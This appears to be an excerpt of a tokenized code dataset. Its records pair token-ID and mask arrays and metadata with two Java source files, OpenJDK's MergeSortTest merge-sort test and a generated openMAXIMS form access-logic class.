1401,
51,
8236,
51,
36496,
64,
222,
485,
1401,
51,
8236,
51,
1615,
37120,
64,
222,
485,
1401,
51,
8236,
51,
37120,
2930,
64,
222,
485,
1401,
51,
8236,
51,
37120,
2930,
51,
15959,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
6042,
4433,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
21464,
64,
222,
485,
1401,
51,
8236,
51,
915,
51,
17640,
1675,
64,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
485,
1401,
51,
1058,
51,
8263,
64,
222,
485,
1401,
51,
1058,
51,
1225,
64,
222,
222,
485,
1105,
51,
12172,
57,
111,
51,
3716,
64,
222,
485,
1105,
51,
12172,
57,
111,
51,
19580,
64,
222,
222,
485,
15705,
13596,
51,
16554,
64,
222,
485,
15705,
13596,
51,
102,
16384,
51,
13910,
78,
54,
53,
2671,
64,
222,
485,
15705,
13596,
51,
102,
16384,
51,
13910,
78,
55,
58,
2671,
64,
222,
485,
15705,
13596,
51,
102,
16384,
51,
13910,
3914,
8265,
2671,
64,
222,
485,
15705,
13596,
51,
5990,
51,
5238,
64,
222,
485,
15705,
13596,
51,
1284,
51,
25024,
2139,
51,
78,
7932,
41818,
9136,
64,
222,
485,
15705,
13596,
51,
1284,
51,
25024,
2139,
51,
2655,
314,
6710,
3002,
410,
5209,
64,
222,
485,
15705,
13596,
51,
8789,
51,
2305,
2775,
64,
222,
222,
942,
462,
13122,
37120,
13032,
320,
2205,
964,
924,
1175,
7145,
4101,
299,
21818,
51,
10588,
45,
6137,
37120,
13032,
51,
842,
312,
303,
964,
924,
1175,
910,
16584,
100,
18566,
100,
9309,
299,
332,
745,
50,
1584,
9353,
120,
51,
1665,
884,
303,
964,
1175,
29052,
18722,
64,
2205,
964,
1175,
3531,
65,
13910,
3914,
8265,
2671,
49,
4393,
67,
2240,
692,
15167,
299,
556,
8329,
6984,
303,
964,
4393,
1263,
2930,
299,
762,
64,
303,
964,
4393,
33552,
2930,
299,
762,
64,
303,
964,
1588,
414,
2930,
5279,
2914,
2930,
64,
2205,
581,
13122,
37120,
13032,
45,
16554,
18722,
46,
320,
310,
477,
51,
13596,
299,
18722,
64,
303,
339,
2205,
581,
782,
26724,
365,
320,
310,
434,
1445,
1615,
37120,
51,
316,
10330,
1177,
320,
343,
4101,
51,
1357,
459,
1615,
573,
414,
458,
666,
5430,
563,
477,
6652,
742,
343,
461,
64,
310,
339,
310,
2480,
15167,
492,
310,
434,
327,
1555,
2930,
630,
762,
46,
320,
343,
4101,
51,
8453,
459,
2042,
1263,
4282,
2448,
347,
6091,
449,
1307,
10531,
642,
2684,
573,
414,
742,
343,
461,
64,
310,
339,
310,
35489,
2689,
5279,
299,
556,
35489,
2689,
492,
603,
25899,
3116,
6362,
299,
556,
25899,
459,
2042,
27142,
742,
310,
3116,
6362,
51,
18822,
45,
1886,
312,
310,
5279,
51,
688,
45,
1357,
6362,
312,
2776,
5279,
51,
688,
11143,
492,
2776,
25899,
1641,
21495,
299,
556,
25899,
459,
4370,
3240,
742,
310,
1641,
21495,
51,
24508,
1181,
106,
46,
984,
18722,
51,
18215,
45,
1527,
894,
310,
5279,
51,
688,
45,
1113,
21495,
312,
2776,
25899,
1641,
20042,
299,
556,
25899,
459,
11333,
742,
310,
1641,
20042,
51,
24508,
1181,
106,
46,
984,
18722,
51,
1693,
1081,
17049,
1052,
310,
5279,
51,
688,
45,
1113,
20042,
312,
2776,
5279,
51,
688,
11143,
492,
2776,
25899,
1641,
28721,
299,
556,
25899,
459,
28721,
742,
310,
1641,
28721,
51,
24508,
1181,
106,
46,
984,
18722,
51,
2698,
1306,
1052,
310,
5279,
51,
688,
45,
1113,
28721,
312,
603,
1614,
320,
343,
1189,
37120,
573,
414,
299,
1189,
37120,
51,
29967,
37120,
492,
6455,
5279,
2914,
2930,
299,
556,
1588,
414,
2930,
45,
1555,
2930,
49,
332,
4921,
50,
2849,
50,
13596,
411,
5279,
312,
6455,
18722,
51,
688,
9136,
45,
909,
457,
7932,
41818,
9136,
365,
320,
12949,
964,
12014,
1922,
17152,
24446,
299,
878,
64,
12949,
496,
1806,
419,
581,
782,
1991,
45,
2655,
314,
6710,
3002,
410,
5209,
4002,
46,
320,
547,
3116,
6362,
51,
44062,
459,
7464,
54,
51,
53,
63,
332,
494,
4002,
51,
390,
32367,
54,
100,
53,
365,
494,
3021,
332,
494,
1031,
332,
7464,
55,
51,
58,
63,
332,
494,
4002,
51,
390,
32367,
55,
100,
58,
365,
494,
3021,
332,
494,
1031,
332,
7464,
54,
53,
63,
332,
494,
4002,
51,
390,
32367,
54,
53,
365,
494,
332,
2903,
494,
14072,
51,
7464,
100,
47802,
494,
32658,
20246,
910,
4572,
6251,
299,
332,
7464,
54,
51,
53,
518,
332,
494,
4002,
51,
390,
32367,
54,
100,
53,
365,
494,
14072,
51,
7464,
100,
47802,
494,
332,
788,
115,
39,
494,
453,
5153,
2688,
788,
115,
2147,
456,
7959,
52,
76,
15110,
641,
2974,
2818,
1348,
2208,
1646,
20795,
244,
9488,
332,
7464,
55,
51,
58,
518,
332,
494,
4002,
51,
390,
32367,
55,
100,
58,
365,
494,
14072,
51,
7464,
100,
47802,
494,
332,
788,
115,
39,
494,
9488,
332,
7464,
54,
53,
244,
518,
332,
494,
4002,
51,
390,
32367,
54,
53,
365,
494,
14072,
51,
7464,
100,
47802,
64,
20246,
434,
327,
3324,
51,
390,
77,
1525,
365,
2394,
244,
53,
979,
4002,
51,
390,
31311,
23807,
365,
2394,
244,
53,
979,
4002,
51,
390,
19417,
365,
882,
6938,
51,
11138,
46,
320,
733,
4572,
6251,
1475,
332,
788,
115,
39,
494,
9488,
332,
1424,
97,
122,
55,
53,
61,
55,
84,
244,
518,
332,
494,
1849,
2640,
46,
3324,
51,
390,
77,
1525,
1177,
52,
54,
53,
53,
53,
494,
14072,
51,
13009,
1213,
100,
16285,
100,
47802,
494,
332,
788,
115,
39,
494,
244,
9488,
332,
29788,
665,
518,
332,
494,
4002,
51,
390,
31311,
23807,
365,
494,
14072,
51,
40942,
78,
100,
47802,
494,
332,
788,
115,
39,
494,
453,
1035,
44,
113,
13950,
456,
19172,
327,
3804,
26088,
1183,
23783,
518,
4265,
9488,
332,
2422,
244,
518,
332,
494,
4002,
51,
390,
19417,
365,
494,
14072,
51,
10118,
100,
47802,
64,
547,
339,
547,
5279,
2914,
2930,
51,
42561,
45,
3749,
6251,
312,
20246,
758,
2391,
692,
2930,
45,
3055,
2914,
2930,
49,
418,
34536,
55,
58,
2671,
51,
1097,
899,
45,
3324,
51,
390,
32367,
55,
100,
58,
6198,
418,
34536,
54,
53,
2671,
51,
1097,
899,
45,
3324,
51,
390,
32367,
54,
53,
5086,
419,
339,
12949,
496,
1806,
419,
581,
782,
22416,
365,
320,
547,
5279,
2914,
2930,
51,
42561,
459,
40603,
19874,
547,
3116,
6362,
51,
44062,
459,
40603,
19874,
419,
339,
12949,
496,
1806,
419,
581,
782,
9485,
365,
320,
547,
17152,
24446,
299,
878,
64,
419,
339,
12949,
496,
1806,
419,
581,
782,
33552,
365,
320,
547,
5279,
2914,
2930,
51,
25886,
45,
48768,
2930,
882,
762,
1037,
33552,
2930,
518,
1263,
2930,
312,
547,
434,
327,
8453,
24446,
46,
320,
733,
2540,
37120,
1193,
459,
3046,
33552,
411,
332,
11813,
1421,
2277,
2602,
33552,
742,
547,
339,
547,
5279,
2914,
2930,
51,
42561,
459,
38688,
742,
547,
3116,
6362,
51,
44062,
459,
38688,
742,
419,
339,
12949,
496,
1806,
419,
581,
782,
23298,
318,
365,
320,
547,
17152,
24446,
299,
920,
64,
547,
5279,
2914,
2930,
51,
42561,
459,
24446,
318,
19874,
547,
3116,
6362,
51,
44062,
459,
24446,
318,
19874,
419,
339,
343,
1141,
343,
573,
414,
51,
688,
45,
3055,
2914,
2930,
312,
343,
5279,
2914,
2930,
51,
688,
6042,
2239,
45,
909,
16263,
4433,
365,
320,
419,
496,
1806,
419,
581,
782,
8466,
14796,
45,
21464,
503,
46,
320,
547,
434,
45,
106,
51,
390,
2668,
1552,
365,
2394,
244,
55,
1528,
733,
18722,
51,
18215,
45,
1527,
312,
547,
339,
419,
339,
343,
1141,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
4101,
51,
750,
459,
943,
7178,
10466,
38468,
1142,
391,
35901,
10466,
38468,
411,
503,
312,
310,
339,
303,
339,
465,
581,
782,
2540,
37120,
1193,
45,
671,
1799,
49,
910,
1492,
46,
320,
310,
434,
327,
3055,
2914,
2930,
882,
762,
46,
320,
343,
5279,
2914,
2930,
51,
2784,
1193,
45,
1333,
49,
1492,
49,
37721,
51,
1608,
312,
310,
339,
303,
339,
465,
964,
782,
758,
2391,
692,
2930,
45,
37120,
2930,
5279,
2914,
2930,
49,
418,
34536,
55,
58,
2671,
15705,
55,
49,
418,
34536,
54,
53,
2671,
15705,
54,
53,
46,
320,
310,
4393,
4282,
299,
15705,
55,
51,
124,
11600,
11548,
45,
4921,
54,
53,
46,
1037,
2240,
692,
15167,
51,
390,
45,
4921,
55,
51,
390,
31592,
2671,
1177,
518,
2240,
692,
15167,
51,
390,
45,
4921,
54,
53,
51,
390,
31592,
2671,
1052,
310,
5279,
2914,
2930,
51,
25886,
45,
1584,
882,
762,
1037,
4282,
518,
1263,
2930,
312,
303,
339,
2205,
964,
4393,
640,
2930,
45,
671,
655,
46,
2589,
6300,
320,
310,
44182,
573,
414,
2930,
1675,
299,
6297,
2775,
51,
44791,
2930,
45,
444,
312,
310,
648,
573,
414,
2930,
2627,
299,
556,
1588,
414,
2930,
45,
27049,
2930,
1675,
566,
24600,
941,
1660,
64,
310,
461,
573,
414,
2930,
1675,
51,
18721,
1192,
1250,
1825,
45,
27049,
2930,
2627,
49,
449,
54,
49,
4393,
51,
19952,
100,
88,
2414,
32691,
312,
453,
19388,
458,
6106,
456,
13376,
60,
303,
339,
465,
964,
782,
2480,
15167,
365,
320,
310,
456,
327,
13910,
3914,
8265,
2671,
3215,
518,
418,
86,
3914,
8265,
2671,
51,
2857,
1177,
320,
343,
1614,
320,
419,
2240,
692,
15167,
51,
543,
45,
2675,
49,
640,
2930,
45,
671,
51,
1664,
45,
6876,
100,
18566,
100,
9309,
49,
3215,
51,
444,
941,
10498,
25545,
343,
339,
2385,
327,
1002,
503,
46,
320,
419,
4101,
51,
750,
459,
943,
7752,
2240,
692,
20049,
4282,
456,
3215,
63,
12267,
3215,
49,
503,
312,
343,
339,
310,
339,
310,
1614,
320,
343,
33552,
2930,
299,
640,
2930,
45,
671,
51,
1664,
45,
6876,
100,
18566,
100,
9309,
49,
332,
48768,
2992,
343,
1263,
2930,
299,
33552,
2930,
64,
310,
339,
2385,
327,
6860,
503,
46,
320,
343,
4101,
51,
750,
459,
943,
7752,
2240,
692,
20049,
4282,
456,
33552,
411,
503,
312,
310,
339,
303,
339,
294,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,691
| true
| 55.188172
| true
| true
|
MergeSortTest.java
|
/FileExtraction/Java_unseen/JetBrains_jdk8u_jdk/test/sample/mergesort/MergeSortTest.java
|
/*
* Copyright (c) 2011 Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/* @test
* @summary Test MergeSort
*
* @library /src/sample/share/forkjoin/mergesort
* @build MergeSortTest MergeDemo MergeSort
* @run testng MergeSortTest
*/
import java.util.Arrays;
import java.util.Random;
import org.testng.annotations.Test;
public class MergeSortTest {
private Random random;
private MergeSort target;
public MergeSortTest(Random random, MergeSort target) {
this.random = random;
this.target = target;
}
@Test
public static void doTest() {
MergeSortTest test = new MergeSortTest(new Random(), new MergeSort(Runtime.getRuntime().availableProcessors() * 4));
test.run();
}
private int[] generateArray(int elements) {
int[] array = new int[elements];
for (int i = 0; i < array.length; ++i) {
array[i] = random.nextInt(10);
}
return array;
}
private void run() {
testSort();
testSortSingle();
testSortEmpty();
testLong();
}
public void testLong() {
for (int i = 0; i < 1000; ++i) {
int elements = 1 + i * 100;
int[] array = generateArray(elements);
int[] copy = Arrays.copyOf(array, array.length);
Arrays.sort(copy);
target.sort(array);
assertEqual(copy, array);
}
}
private void testSortEmpty() {
int[] array = { };
target.sort(array);
assertEqual(new int[] { }, array);
}
private void testSortSingle() {
int[] array = { 1 };
target.sort(array);
assertEqual(new int[] { 1 }, array);
}
private void testSort() {
int[] array = { 7, 3, 9, 0, -6, 12, 54, 3, -6, 88, 1412};
target.sort(array);
assertEqual(new int[] { -6, -6, 0, 3, 3, 7, 9, 12, 54, 88, 1412 }, array);
}
private void assertEqual(int[] expected, int[] array) {
if (!Arrays.equals(expected, array)) {
throw new RuntimeException("Invalid sorted array!");
}
}
}
| 3,090
|
Java
|
.java
|
JetBrains/jdk8u_jdk
| 211
| 154
| 9
|
2016-02-08T15:00:55Z
|
2021-03-10T06:52:25Z
|
3d6df431f890a597eeecf6d52278a86c373da3afd854e15764140b99d1736bf7
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
54,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
499,
222,
1127,
496,
881,
222,
338,
496,
1386,
2128,
13922,
5217,
222,
338,
222,
338,
496,
5261,
536,
1634,
52,
3324,
52,
6085,
52,
15814,
2548,
52,
6097,
3349,
222,
338,
496,
1848,
13922,
5217,
1024,
13922,
11576,
13922,
5217,
222,
338,
496,
1967,
913,
1159,
13922,
5217,
1024,
222,
588,
222,
222,
485,
1401,
51,
1058,
51,
9981,
64,
222,
485,
1401,
51,
1058,
51,
6124,
64,
222,
222,
485,
1105,
51,
27237,
51,
8839,
51,
1024,
64,
222,
222,
942,
462,
13922,
5217,
1024,
320,
303,
964,
9607,
4051,
64,
303,
964,
13922,
5217,
1780,
64,
465,
581,
13922,
5217,
1024,
45,
6124,
4051,
49,
13922,
5217,
1780,
46,
320,
310,
477,
51,
3917,
299,
4051,
64,
310,
477,
51,
2000,
299,
1780,
64,
303,
339,
465,
496,
1024,
303,
581,
924,
782,
764,
1024,
365,
320,
310,
13922,
5217,
1024,
913,
299,
556,
13922,
5217,
1024,
45,
909,
9607,
1046,
556,
13922,
5217,
45,
5061,
51,
390,
5061,
941,
7249,
36683,
365,
338,
244,
57,
894,
310,
913,
51,
1967,
492,
303,
339,
465,
964,
648,
1197,
4468,
1280,
45,
429,
4725,
46,
320,
310,
648,
1197,
1437,
299,
556,
648,
96,
7620,
988,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1437,
51,
1340,
64,
3323,
110,
46,
320,
343,
1437,
96,
110,
98,
299,
4051,
51,
20827,
45,
54,
53,
312,
310,
339,
310,
461,
1437,
64,
303,
339,
465,
964,
782,
1441,
365,
320,
310,
913,
5217,
492,
310,
913,
5217,
6284,
492,
310,
913,
5217,
2779,
492,
310,
913,
3967,
492,
303,
339,
465,
581,
782,
913,
3967,
365,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
244,
54,
53,
53,
53,
64,
3323,
110,
46,
320,
343,
648,
4725,
299,
244,
54,
494,
613,
338,
244,
54,
53,
53,
64,
1083,
648,
1197,
1437,
299,
4468,
1280,
45,
7620,
312,
343,
648,
1197,
1948,
299,
14479,
51,
36927,
45,
977,
49,
1437,
51,
1340,
312,
343,
14479,
51,
3349,
45,
3014,
312,
343,
1780,
51,
3349,
45,
977,
312,
343,
1217,
1342,
45,
3014,
49,
1437,
312,
310,
339,
303,
339,
465,
964,
782,
913,
5217,
2779,
365,
320,
310,
648,
1197,
1437,
299,
320,
1487,
310,
1780,
51,
3349,
45,
977,
312,
310,
1217,
1342,
45,
909,
648,
1197,
320,
820,
1437,
312,
303,
339,
465,
964,
782,
913,
5217,
6284,
365,
320,
310,
648,
1197,
1437,
299,
320,
244,
54,
1487,
310,
1780,
51,
3349,
45,
977,
312,
310,
1217,
1342,
45,
909,
648,
1197,
320,
244,
54,
820,
1437,
312,
303,
339,
465,
964,
782,
913,
5217,
365,
320,
310,
648,
1197,
1437,
299,
320,
244,
60,
49,
244,
56,
49,
244,
62,
49,
244,
53,
49,
449,
59,
49,
244,
54,
55,
49,
244,
58,
57,
49,
244,
56,
49,
449,
59,
49,
244,
61,
61,
49,
244,
54,
57,
54,
55,
1274,
310,
1780,
51,
3349,
45,
977,
312,
310,
1217,
1342,
45,
909,
648,
1197,
320,
449,
59,
49,
449,
59,
49,
244,
53,
49,
244,
56,
49,
244,
56,
49,
244,
60,
49,
244,
62,
49,
244,
54,
55,
49,
244,
58,
57,
49,
244,
61,
61,
49,
244,
54,
57,
54,
55,
820,
1437,
312,
303,
339,
465,
964,
782,
1217,
1342,
45,
429,
1197,
2816,
49,
648,
1197,
1437,
46,
320,
310,
434,
1445,
9981,
51,
3591,
45,
3156,
49,
1437,
509,
320,
343,
1440,
556,
13383,
459,
3828,
8635,
1437,
9318,
310,
339,
303,
339,
499,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 857
| true
| 59.708738
| true
| true
|
BaseAccessLogic.java
|
/FileExtraction/Java_unseen/IMS-MAXIMS_openMAXIMS/Source Library/openmaxims_workspace/Clinical/src/ims/clinical/forms/ttadispensedialog/BaseAccessLogic.java
|
//#############################################################################
//# #
//# Copyright (C) <2015> <IMS MAXIMS> #
//# #
//# This program is free software: you can redistribute it and/or modify #
//# it under the terms of the GNU Affero General Public License as #
//# published by the Free Software Foundation, either version 3 of the #
//# License, or (at your option) any later version. #
//# #
//# This program is distributed in the hope that it will be useful, #
//# but WITHOUT ANY WARRANTY; without even the implied warranty of #
//# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
//# GNU Affero General Public License for more details. #
//# #
//# You should have received a copy of the GNU Affero General Public License #
//# along with this program. If not, see <http://www.gnu.org/licenses/>. #
//# #
//# IMS MAXIMS provides absolutely NO GUARANTEE OF THE CLINICAL SAFTEY of #
//# this program. Users of this software do so entirely at their own risk. #
//# IMS MAXIMS only ensures the Clinical Safety of unaltered run-time #
//# software that it builds, deploys and maintains. #
//# #
//#############################################################################
//#EOH
// This code was generated by Barbara Worwood using IMS Development Environment (version 1.80 build 5589.25814)
// Copyright (C) 1995-2015 IMS MAXIMS. All rights reserved.
// WARNING: DO NOT MODIFY the content of this file
package ims.clinical.forms.ttadispensedialog;
import java.io.Serializable;
import ims.framework.Context;
import ims.framework.FormName;
import ims.framework.FormAccessLogic;
public class BaseAccessLogic extends FormAccessLogic implements Serializable
{
private static final long serialVersionUID = 1L;
public final void setContext(Context context, FormName formName)
{
form = new CurrentForm(new GlobalContext(context), new CurrentForms());
engine = new CurrentEngine(formName);
}
public boolean isAccessible()
{
return true;
}
public boolean isReadOnly()
{
return false;
}
public CurrentEngine engine;
public CurrentForm form;
public final static class CurrentForm implements Serializable
{
private static final long serialVersionUID = 1L;
CurrentForm(GlobalContext globalcontext, CurrentForms forms)
{
this.globalcontext = globalcontext;
this.forms = forms;
}
public final GlobalContext getGlobalContext()
{
return globalcontext;
}
public final CurrentForms getForms()
{
return forms;
}
private GlobalContext globalcontext;
private CurrentForms forms;
}
public final static class CurrentEngine implements Serializable
{
private static final long serialVersionUID = 1L;
CurrentEngine(FormName formName)
{
this.formName = formName;
}
public final FormName getFormName()
{
return formName;
}
private FormName formName;
}
public static final class CurrentForms implements Serializable
{
private static final long serialVersionUID = 1L;
protected final class LocalFormName extends FormName
{
private static final long serialVersionUID = 1L;
protected LocalFormName(int value)
{
super(value);
}
}
private CurrentForms()
{
}
}
}
| 3,938
|
Java
|
.java
|
IMS-MAXIMS/openMAXIMS
| 61
| 50
| 23
|
2014-06-12T12:04:02Z
|
2020-07-31T09:34:49Z
|
7648bc57d91a263b8f6d734b9d1e1f03fc5946f6c0b7e16b751c47b03d69c84c
|
[
325,
19989,
8689,
222,
16802,
42053,
607,
222,
16802,
244,
2657,
327,
72,
46,
350,
55,
53,
54,
58,
67,
244,
350,
2348,
88,
7490,
2348,
88,
67,
22768,
607,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
281,
607,
222,
16802,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
2281,
607,
222,
16802,
244,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
981,
607,
222,
16802,
244,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
10094,
607,
244,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2052,
607,
222,
16802,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
2281,
607,
222,
16802,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
1485,
607,
222,
16802,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
7223,
607,
222,
16802,
42053,
607,
222,
16802,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
607,
222,
16802,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
283,
607,
222,
16802,
42053,
607,
222,
16802,
244,
457,
2758,
7490,
2348,
88,
7388,
39501,
4452,
26147,
802,
946,
1731,
74,
2258,
2906,
5052,
540,
12634,
377,
5999,
1731,
94,
451,
283,
607,
222,
16802,
244,
477,
3477,
51,
244,
14213,
451,
477,
2951,
764,
1278,
22793,
840,
3641,
4387,
19916,
51,
244,
607,
222,
16802,
244,
457,
2758,
7490,
2348,
88,
1773,
26085,
341,
409,
1823,
1599,
377,
21778,
451,
725,
17776,
337,
1441,
50,
1021,
370,
607,
222,
16802,
244,
2951,
708,
580,
13968,
49,
428,
44513,
480,
48573,
51,
10094,
607,
222,
16802,
42053,
607,
222,
325,
19989,
8689,
222,
16802,
10207,
77,
222,
325,
1369,
1361,
1616,
4741,
829,
11489,
39305,
643,
290,
21100,
1493,
457,
2758,
15606,
10584,
327,
1687,
244,
54,
51,
61,
53,
1984,
244,
58,
58,
61,
62,
51,
55,
58,
61,
54,
57,
46,
222,
325,
2657,
327,
72,
46,
244,
54,
62,
62,
58,
50,
55,
53,
54,
58,
457,
2758,
7490,
2348,
88,
51,
3381,
4760,
5225,
51,
222,
325,
18226,
63,
4103,
2387,
24110,
341,
1813,
451,
477,
822,
222,
222,
1337,
3987,
120,
51,
27764,
1599,
51,
8543,
51,
2269,
358,
8702,
857,
5962,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3987,
120,
51,
2863,
51,
1237,
64,
222,
485,
3987,
120,
51,
2863,
51,
1260,
577,
64,
222,
485,
3987,
120,
51,
2863,
51,
1260,
2807,
12281,
64,
222,
222,
942,
462,
3787,
2807,
12281,
2041,
3735,
2807,
12281,
4584,
19182,
222,
128,
222,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
499,
221,
942,
1175,
782,
758,
1237,
45,
1237,
1637,
49,
3735,
577,
2252,
577,
46,
222,
221,
128,
376,
221,
618,
299,
556,
7517,
1260,
45,
909,
6566,
1237,
45,
1834,
490,
556,
7517,
4419,
1052,
376,
221,
3502,
299,
556,
7517,
3726,
45,
618,
577,
312,
222,
221,
130,
222,
221,
942,
1922,
458,
20803,
365,
222,
221,
128,
1332,
221,
620,
878,
64,
222,
221,
130,
222,
221,
942,
1922,
458,
11060,
365,
222,
221,
128,
376,
221,
620,
920,
64,
222,
221,
130,
499,
221,
942,
7517,
3726,
6894,
64,
222,
221,
942,
7517,
1260,
2252,
64,
499,
221,
942,
1175,
924,
462,
7517,
1260,
4584,
19182,
222,
221,
128,
376,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
1332,
221,
3075,
1260,
45,
4470,
1237,
3671,
1834,
49,
7517,
4419,
10556,
46,
376,
221,
128,
374,
221,
597,
51,
3277,
1834,
299,
3671,
1834,
64,
374,
221,
597,
51,
8543,
299,
10556,
64,
376,
221,
130,
376,
221,
942,
1175,
6566,
1237,
640,
4470,
1237,
365,
376,
221,
128,
374,
221,
620,
3671,
1834,
64,
376,
221,
130,
376,
221,
942,
1175,
7517,
4419,
640,
4419,
365,
376,
